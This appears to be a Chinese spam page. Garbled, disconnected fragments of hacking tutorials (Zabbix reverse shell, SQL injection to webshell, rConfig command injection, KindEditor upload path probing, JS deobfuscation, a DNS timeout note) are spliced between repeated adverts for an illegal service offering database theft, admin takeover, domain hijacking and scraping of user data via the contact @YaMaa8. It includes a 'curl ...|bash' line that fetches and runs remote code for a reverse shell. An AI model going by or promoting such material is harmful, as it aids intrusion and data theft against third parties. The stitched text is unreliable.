在Zabbix服务器上创建一个脚本，用于反弹shell的建立。
在命令里输入“curl 52..*.78|bash”。

执行上面的脚本
渗透 在线接单中：
渗透各类网站app软件，可做/数据库/权限/破解/更改数据
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

对主要的auth.php认证文件进行审计；

<?php
require 'vendor/autoload.php';

session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
header('HTTP/1.1 503 Service Unavailable');
echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
exit;
}
$collection = $client->backend_panel->users; // Select the users collection

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

web开发语言一般常见的有PHP、jsp、aspx、asp等，常见的识别方式有：
（1）通过爬虫获取动态链接进行直接判断是比较简便的方法。
asp判别规则如下<a[^>]?href=(‘|”)[^http][^>]?.asp(?|#|\1)，其他语言可替换相应asp即可。
（2）通过X-Powered-By进行识别
比较常见的有X-Powered-By: ASP.NET或者X-Powered-By: PHP/7.1.8
（3）通过Set-Cookie进行识别
这种方法比较常见也很快捷，比如Set-Cookie中包含PHPSSIONID说明是php、包含JSESSIONID说明是java、包含ASP.NET_SessionId说明是aspx等。

在线接各种指定网站或者APP进行脱库或者拿后台权限、出各行各业料、支持后台或者数据库、（需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、提供的时候请多提供几个网站或者APP、因为不是所有的都可以做）（还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、
诚信合作、合作共赢、欢迎各位老板合作：@YaMaa8

数据库是SQLServer 2000，IIS版本是7.5，程序是采用风讯的CMS。后台登录后有多处注入，因为这里是演示用注入获取WEBSHELL，因此就不考虑后台上传的情况了，只是用注入来实现
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

往前跟栈，来到一个叫 webmssdk.js 的 JS 文件，这里就是生成参数的主要 JS 逻辑了，也就是 JSVMP，整体上做了一个混淆，这里可以使用 AST 来解混淆，K哥以前同样也写过 AST 的文章，这里还原混淆不是重点，咱们直接使用 V 佬的插件 v_jstools 来还原：
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

在线接各种指定网站或者APP进行脱库或者拿后台权限、出各行各业料、支持后台或者数据库、（需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、提供的时候请多提供几个网站或者APP、因为不是所有的都可以做）（还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、
诚信合作、合作共赢、欢迎各位老板合作：@YaMaa8

/home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php中，ext 参数存在盲命令注入漏洞（与CVE-2019-19509不同，顺便说一句，该漏洞尚未解决并且仍然存在，如屏幕截图所示
在线接各种指定网站或者APP进行脱库或者拿后台权限、出各行各业料、支持后台或者数据库、（需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、提供的时候请多提供几个网站或者APP、因为不是所有的都可以做）（还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、
诚信合作、合作共赢、欢迎各位老板合作：@YaMaa8

进行尝试如下路径是否存在有必要验证文件 upload_json.*，常见判断路径如下：

​ kindeditor/asp/upload_json.asp?dir=file

​ kindeditor/asp.net/upload_json.ashx?dir=file

​ kindeditor/jsp/upload_json.jsp?dir=file

​ kindeditor/php/upload_json.php?dir=file

​ 也可以提前判断系统的语言，这里我们采用的是php，访问http://localhost/kindeditor/php/upload_json.php ，返回状态码200，显示存在。否则显示404，not found 。
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

我们通过 iptables -A INPUT -s 172.31.189.232 -p udp –dport 53 -j DROP 命令来阻断所有来自客户端的 DNS 请求来模拟 DNS 服务器没有响应的情况。从下图可以看到第一次请求到重试之间花了 20 秒，这是由于在/etc/resolve.conf 设置了重试 5 次，每次 2 秒，并且存在 search domain 多做一轮，所以总共 DNS 花了 20 秒在尝试查询，这个可以从 tcpdump 的结果确认。